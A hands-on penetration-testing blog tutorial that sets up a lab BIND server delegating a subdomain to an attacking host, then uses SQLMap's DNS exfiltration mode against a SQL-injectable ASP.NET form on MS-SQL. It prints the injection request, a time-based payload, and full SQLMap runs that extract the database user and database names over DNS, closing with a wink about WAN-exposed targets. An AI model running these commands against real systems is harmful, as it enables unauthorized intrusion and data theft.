DNS Exfiltration using SQLMap in a Microsoft SQL Environment

You may have seen my last post related to DNS exfil in a MS-SQL environment using Burp Suite’s Collaborator tool. I had mentioned that spinning up a DNS infrastructure that allows you to perform DNS exfil outside of this tool can be difficult. I was quickly notified by one of my co-workers that handles our infrastructure that this is not the case and that he had an easy solution for this utilizing AWS technologies. Which was awesome! I will admit that Secureworks has impressed me many times over. This was yet another instance.

Anyhoo, the point of my rambling is that this made me immediately jump back into my lab and figure out how to set this up and blog about it. The easy route would have been asking my co-worker to spin up a VM and do what (damn near) every other blog I have run across does and gloss over the infrastructure part. It just works!
Pure effin magic!!!!
I like teaching people how to actually look at the nuts-and-bolts behind things and, as such, am going to walk you through setting up an environment in your lab so you can look at using SQLMap’s DNS exfiltration functionality.

The first thing we need to touch on is that not all database systems support DNS exfiltration. DNS lookups are usually brought about by forcing a database system to access network file-system paths. It’s been a while but I am pretty sure that MySQL (MariaDB) won’t do this unless horribly misconfigured while Microsoft SQL Server (MS-SQL) is typically susceptible to this due to the “xp_dirtree” stored procedure allowing the access of UNC paths by default.

Which has us following up on my last post working within the context of a MS-SQL back-end. Cool cool?

In order to go about setting up the infrastructure needed to work through this in a lab you need to understand DNS. I am not going to work through what DNS is, why we use it, or how it functions. There are all kinds of resources out there that will teach you this. The gist of what we are doing is setting up a base domain that we will use to create a sub-domain that we will hand to SQLMap to utilize when performing its DNS exfiltration. In short, we are going to use SQLMap to craft payloads in a format much like the following:

[hex-encoded data].subdomain.base-domain.com

We will create a DNS record that directs queries for hosts hanging off of a particular sub-domain to a given IP address that SQLMap will be listening on for queries.

Jumping into this we will have the following hosts in our lab environment:

  • Database Host – 192.168.4.200
  • Web Application Host – 192.168.4.217
  • Attacking Host – 192.168.4.6
  • Base DNS Host – 192.168.4.162

Our database and web application hosts will be Windows-based and consist of what I spun up in my last blog post while the latter two will be Linux variants. We will utilize BIND (named) for the DNS service on 192.168.4.162.

To kick this off we need to look at configuring BIND. Let’s look at our BIND configuration first.

Once you have BIND installed, you’ll end up editing named.conf and creating a zone file for the local, LAN-based domain and sub-domain we’ll be utilizing. My named.conf file ended up looking like the following:

options {
        listen-on port 53 { 127.0.0.1; 192.168.4.162; };
        listen-on-v6 port 53 { ::1; };
        directory       "/var/named";
        dump-file       "/var/named/data/cache_dump.db";
        statistics-file "/var/named/data/named_stats.txt";
        memstatistics-file "/var/named/data/named_mem_stats.txt";
        recursing-file  "/var/named/data/named.recursing";
        secroots-file   "/var/named/data/named.secroots";
        allow-query     { localhost; 192.168.4.0/24; };

        recursion yes;

        dnssec-enable no;
        dnssec-validation no;

        /* Path to ISC DLV key */
        bindkeys-file "/etc/named.root.key";

        managed-keys-directory "/var/named/dynamic";

        pid-file "/run/named/named.pid";
        session-keyfile "/run/named/session.key";
};

logging {
        channel default_debug {
                file "data/named.run";
                //severity dynamic;
                severity debug 3;
        };
};

zone "." IN {
        type hint;
        file "named.ca";
};

include "/etc/named.rfc1912.zones";
include "/etc/named.root.key";

zone "arrdub.net" IN {
    type master;
    file "/etc/bind/zones/master/db.arrdub.net";
};

I highlighted the more important lines. Make note that this configuration is for a LAN-based lab environment. Look into the security implications of enabling recursion should you try and use this configuration for a WAN-based BIND server. You’ll want to leverage ACLs should you choose to enable recursion.

The zone file I used for the domain “arrdub.net” and “oob.arrdub.net” ended up looking like the following. Note that “foo.arrdub.net” (192.168.4.6) is being set as the name server responsible for answering queries for the “oob.arrdub.net” sub-domain. This is our attacking host.

;
; BIND data file for arrdub.net
;
$TTL    24h
$ORIGIN arrdub.net.
@       IN      SOA       arrdub.net admin.arrdub.net (
                          8        ; Serial
                          12h      ; Refresh after 12 hours
                          1h       ; Retry after 1 hour
                          1w       ; Expire after 1 week
                          1h )     ; Negative caching TTL of 1 hour

;
@       IN      NS      ns1
ns1     IN      A       192.168.4.162 ; glue record
foo     IN      A       192.168.4.6 ; glue record

$ORIGIN oob.arrdub.net.
@       IN      NS      foo.arrdub.net.

That’s it. It’s that simple. I beat my head on this for a good bit trying to over-complicate the configuration. Shocker!

After successfully starting the BIND (named) service, we’ll test its configuration. We’ll use the dig tool and see if we can resolve the address of “foo.arrdub.net” to ensure that the glue record for the “oob.arrdub.net” sub-domain is working correctly.

From the DNS host we’ll use “dig” in the following manner:

# dig foo.arrdub.net @192.168.4.162

; <<>> DiG 9.11.4-P2-RedHat-9.11.4-9.P2.el7 <<>> foo.arrdub.net @192.168.4.162
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 47329
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 2

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;foo.arrdub.net.                        IN      A

;; ANSWER SECTION:
foo.arrdub.net.         86400   IN      A       192.168.4.6

;; AUTHORITY SECTION:
arrdub.net.             86400   IN      NS      ns1.arrdub.net.

;; ADDITIONAL SECTION:
ns1.arrdub.net.         86400   IN      A       192.168.4.162

;; Query time: 0 msec
;; SERVER: 192.168.4.162#53(192.168.4.162)
;; WHEN: Wed Feb 26 15:33:28 MST 2020
;; MSG SIZE  rcvd: 93

Make note of the highlighted lines. The “ns1.arrdub.net” host is responsible for answering queries for our base domain (arrdub.net) while the host “foo.arrdub.net” will respond for the sub-domain “oob.arrdub.net”.

At this point you need to configure the DNS resolvers for the host offering the database service used by the target application. In this scenario this would be 192.168.4.200. Again, a Windows machine running MS-SQL with the following interface configuration controlling its DNS resolution.
DNS Exfiltration using SQLMap in a Microsoft SQL Environment - Database Host Resolvers

You may notice an extra host in the mix (192.168.4.254). This is simply my home network’s default router that also provides a caching DNS server. Consider this your ISP’s DNS server required for you to browse the internet. With this configuration made, we’ll now test the same DNS resolution on our database host.

From the database host we’ll use “nslookup” in the following manner:

C:\Users\ryan> nslookup foo.arrdub.net
Server:  UnKnown
Address:  192.168.4.162

Name:    foo.arrdub.net
Address:  192.168.4.6

So far so good. Let’s now use the “tcpdump” utility to sniff our incoming traffic on the attacking host. We’re going to trigger a lookup on the database host for an arbitrary host hanging off of the “oob.arrdub.net” sub-domain. We’re hoping to see an incoming query on the attacking host.

On the database host we’ll execute the following:

C:\Users\ryan> nslookup random1.oob.arrdub.net
Server:  UnKnown
Address:  192.168.4.162

*** UnKnown can't find random1.oob.arrdub.net: Server failed

Without a DNS server listening on the attacking host we don’t expect the query to successfully resolve. What we do expect, however, is to see an incoming request on the attacking host. Something like the following:

# tcpdump -i any -n udp port 53 or tcp port 53
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on any, link-type LINUX_SLL (Linux cooked v1), capture size 262144 bytes
18:01:22.458392 IP 192.168.4.162.60700 > 192.168.4.6.53: 65249% [1au] A? random1.oob.arrdub.net. (51)
18:01:22.459123 IP 192.168.4.162.59448 > 192.168.4.6.53: 49950% [1au] AAAA? random1.oob.arrdub.net. (51)

What you are seeing is the base DNS server (192.168.4.162) acting in a recursive manner to resolve the incoming query. It is making an attempt to talk to the attacking host (192.168.4.6) to resolve “random1.oob.arrdub.net”. It fails, obviously.

Now that we know our infrastructure is setup correctly, we’ll start looking at how to use SQLMap to extract data over a DNS channel. Again, we’re working with the vulnerable .NET application I worked up in my last blog post.

I placed the following request into a file for SQLMap to snarf up marking the end of the value supplied to the “txtInput” parameter with an asterisk so that SQLMap knew where to insert its payloads. This may differ depending on how you set up your vulnerable webapp.

POST /WebForm1.aspx HTTP/1.1
Host: 192.168.4.217
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.4.217:49396/WebForm1.aspx
Content-Type: application/x-www-form-urlencoded
Content-Length: 498
Connection: close
Upgrade-Insecure-Requests: 1

__VIEWSTATE=c8n3ORTvTQjK3iH12lIRYlupqd8sPpgDU0u134JK8feGOVa84VH1XiXxOom%2BgqzYhlnTGnWlEKZ%2FIp%2BfUu1I0P6lWWhQ6gKSV0GVkDo2XNlyiG21xN%2B6bYaprayY2m2hHcE9y%2FOYFE94PREdH%2FIo7cS1wPdMoRTjFywkmTBU038%3D&__VIEWSTATEGENERATOR=C687F31A&__EVENTVALIDATION=lYQ%2FKVcent9L3v1prrm3He2bLFfKgMzJSco7wKmNj%2F9hQAXTuksZ1DYH9s8Os2cYYkcu%2FXrxHuOpRR5PXcFglW%2Ba724NYrVmQGoAOtPbyxkF96m%2Flr6Th0NVF1BhOPxkwgM6Os7BRqIGmylrwzTikg%3D%3D&txtInput=1*&ctl02=Submit

Next we’ll point SQLMap at our vulnerable application to see what it can make happen. Something to note, it wasn’t until I increased the “–level” switch to 3 that SQLMap discovered payloads that could successfully exploit the vulnerability in my webapp. I ended up with something like the following:

# sqlmap.py -r req1.txt --dbms MSSQL --technique T --level 3 --flush
        ___
       __H__                                                                                                                                    
 ___ ___[,]_____ ___ ___  {1.3.12#stable}                                                                                                       
|_ -| . [,]     | .'| . |                                                                                                                       
|___|_  [,]_|_|_|__,|  _|                                                                                                                       
      |_|V...       |_|   http://sqlmap.org                                                                                                     

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 18:20:14 /2020-02-26/

[18:20:14] [INFO] parsing HTTP request from 'req1.txt'
[18:20:15] [INFO] flushing session filePOST body. Do you want to process it? [Y/n/q] 
[18:20:15] [INFO] testing connection to the target URL
[18:20:15] [INFO] checking if the target is protected by some kind of WAF/IPS
[18:20:15] [CRITICAL] heuristics detected that the target is protected by some kind of WAF/IPS
[18:20:16] [WARNING] please consider usage of tamper scripts (option '--tamper')
[18:20:16] [WARNING] heuristic (basic) test shows that (custom) POST parameter '#1*' might not be injectable
[18:20:16] [INFO] testing for SQL injection on (custom) POST parameter '#1*'
[18:20:16] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)'
[18:20:16] [WARNING] time-based comparison requires larger statistical model, please wait............................ (done)                   
[18:20:26] [INFO] (custom) POST parameter '#1*' appears to be 'Microsoft SQL Server/Sybase time-based blind (IF)' injectable
for the remaining tests, do you want to include all tests for 'Microsoft SQL Server/Sybase' extending provided level (3) and risk (1) values? [Y/n] n
[18:21:07] [INFO] checking if the injection point on (custom) POST parameter '#1*' is a false positive
(custom) POST parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 51 HTTP(s) requests:
---
Parameter: #1* ((custom) POST)
    Type: time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind (IF)
    Payload: __VIEWSTATE=c8n3ORTvTQjK3iH12lIRYlupqd8sPpgDU0u134JK8feGOVa84VH1XiXxOom+gqzYhlnTGnWlEKZ/Ip+fUu1I0P6lWWhQ6gKSV0GVkDo2XNlyiG21xN+6bYaprayY2m2hHcE9y/OYFE94PREdH/Io7cS1wPdMoRTjFywkmTBU038=&__VIEWSTATEGENERATOR=C687F31A&__EVENTVALIDATION=lYQ/KVcent9L3v1prrm3He2bLFfKgMzJSco7wKmNj/9hQAXTuksZ1DYH9s8Os2cYYkcu/XrxHuOpRR5PXcFglW+a724NYrVmQGoAOtPbyxkF96m/lr6Th0NVF1BhOPxkwgM6Os7BRqIGmylrwzTikg==&txtInput=1' WAITFOR DELAY '0:0:5'-- dZCU&ctl02=Submit
---
[18:23:28] [INFO] testing Microsoft SQL Server
[18:23:28] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 
[18:23:43] [INFO] confirming Microsoft SQL Serverr DBMS delay responses (option '--time-sec')? [Y/n] 
[18:23:53] [INFO] adjusting time delay to 1 second due to good response times
[18:23:57] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 10 or 2016
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 10.0
back-end DBMS: Microsoft SQL Server 2017
[18:23:57] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 7 times
[18:23:57] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.4.217'
[18:23:57] [WARNING] you haven't updated sqlmap for more than 85 days!!!

[*] ending @ 18:23:57 /2020-02-26/

Great! SQLMap identified the vulnerable input and was able to extract information using time-based blind payloads.

Let’s now look at using the DNS exfiltration mechanism offered by this awesome tool works. We’ll activate this functionality by employing the “–dns-domain” flag and pointing it at “oob.arrdub.net”. For this initial test we’ll look to enumerate what the underlying database username is.

# sqlmap.py -r req1.txt --dbms MSSQL --dns-domain=oob.arrdub.net --current-user
        ___
       __H__                                                                                                                                    
 ___ ___[.]_____ ___ ___  {1.3.12#stable}                                                                                                       
|_ -| . [(]     | .'| . |                                                                                                                       
|___|_  [']_|_|_|__,|  _|                                                                                                                       
      |_|V...       |_|   http://sqlmap.org                                                                                                     

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 18:28:44 /2020-02-26/

[18:28:44] [INFO] parsing HTTP request from 'req1.txt'
[18:28:44] [INFO] setting up DNS server instance
[18:28:46] [INFO] testing connection to the target URLou want to process it? [Y/n/q] 
[18:28:46] [CRITICAL] previous heuristics detected that the target is protected by some kind of WAF/IPS
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* ((custom) POST)
    Type: time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind (IF)
    Payload: __VIEWSTATE=c8n3ORTvTQjK3iH12lIRYlupqd8sPpgDU0u134JK8feGOVa84VH1XiXxOom+gqzYhlnTGnWlEKZ/Ip+fUu1I0P6lWWhQ6gKSV0GVkDo2XNlyiG21xN+6bYaprayY2m2hHcE9y/OYFE94PREdH/Io7cS1wPdMoRTjFywkmTBU038=&__VIEWSTATEGENERATOR=C687F31A&__EVENTVALIDATION=lYQ/KVcent9L3v1prrm3He2bLFfKgMzJSco7wKmNj/9hQAXTuksZ1DYH9s8Os2cYYkcu/XrxHuOpRR5PXcFglW+a724NYrVmQGoAOtPbyxkF96m/lr6Th0NVF1BhOPxkwgM6Os7BRqIGmylrwzTikg==&txtInput=1' WAITFOR DELAY '0:0:5'-- dZCU&ctl02=Submit
---
[18:28:46] [INFO] testing Microsoft SQL Server
[18:28:46] [INFO] confirming Microsoft SQL Server
[18:28:46] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 10 or 2016
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 10.0
back-end DBMS: Microsoft SQL Server 2017
[18:28:46] [INFO] fetching current user
[18:28:46] [INFO] testing for data retrieval through DNS channel
[18:28:46] [INFO] data retrieval through DNS channel was successful
[18:28:46] [INFO] retrieved: examples
current user: 'examples'
[18:28:46] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.4.217'
[18:28:46] [WARNING] you haven't updated sqlmap for more than 85 days!!!

[*] ending @ 18:28:46 /2020-02-26/

TWO SECONDS! This took only two seconds. That is AWESOME considering it would have taken much longer with a time-based blind approach. Let’s go further and enumerate the databases contained by the system.

# sqlmap.py -r req1.txt --dbms MSSQL --dns-domain=oob.arrdub.net --dbs
        ___
       __H__                                                                                                                                    
 ___ ___[,]_____ ___ ___  {1.3.12#stable}                                                                                                       
|_ -| . [)]     | .'| . |                                                                                                                       
|___|_  [,]_|_|_|__,|  _|                                                                                                                       
      |_|V...       |_|   http://sqlmap.org                                                                                                     

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 18:32:13 /2020-02-26/

[18:32:13] [INFO] parsing HTTP request from 'req1.txt'
[18:32:13] [INFO] setting up DNS server instance
[18:32:14] [INFO] testing connection to the target URLou want to process it? [Y/n/q] 
[18:32:14] [CRITICAL] previous heuristics detected that the target is protected by some kind of WAF/IPS
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* ((custom) POST)
    Type: time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind (IF)
    Payload: __VIEWSTATE=c8n3ORTvTQjK3iH12lIRYlupqd8sPpgDU0u134JK8feGOVa84VH1XiXxOom+gqzYhlnTGnWlEKZ/Ip+fUu1I0P6lWWhQ6gKSV0GVkDo2XNlyiG21xN+6bYaprayY2m2hHcE9y/OYFE94PREdH/Io7cS1wPdMoRTjFywkmTBU038=&__VIEWSTATEGENERATOR=C687F31A&__EVENTVALIDATION=lYQ/KVcent9L3v1prrm3He2bLFfKgMzJSco7wKmNj/9hQAXTuksZ1DYH9s8Os2cYYkcu/XrxHuOpRR5PXcFglW+a724NYrVmQGoAOtPbyxkF96m/lr6Th0NVF1BhOPxkwgM6Os7BRqIGmylrwzTikg==&txtInput=1' WAITFOR DELAY '0:0:5'-- dZCU&ctl02=Submit
---
[18:32:14] [INFO] testing Microsoft SQL Server
[18:32:14] [INFO] confirming Microsoft SQL Server
[18:32:14] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 10 or 2016
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 10.0
back-end DBMS: Microsoft SQL Server 2017
[18:32:14] [INFO] fetching database names
[18:32:14] [INFO] fetching number of databases
[18:32:14] [INFO] testing for data retrieval through DNS channel
[18:32:14] [INFO] data retrieval through DNS channel was successful
[18:32:14] [INFO] retrieved: 5
[18:32:14] [INFO] retrieved: master
[18:32:14] [INFO] retrieved: model
[18:32:14] [INFO] retrieved: msdb
[18:32:14] [INFO] retrieved: tempdb
[18:32:14] [INFO] retrieved: test
available databases [5]:
[*] master
[*] model
[*] msdb
[*] tempdb
[*] test

[18:32:14] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.4.217'
[18:32:14] [WARNING] you haven't updated sqlmap for more than 85 days!!!

[*] ending @ 18:32:14 /2020-02-26/

This time our enumeration only took a second. Outstanding!

So there you have it. This didn’t end up being that difficult after all was said and done. The configuration for everything when working in a WAN environment will be very similar. The gist is you’ll need a base domain that delegates queries for a sub-domain to an attacking host. You’ll need to ensure the appropriate ports (UDP 53 and maybe TCP 53) are open on the attacking host. And uh… a vulnerable host that’s WAN-exposed. 😉

Hit me up with any questions or input.

Tagged , , , ,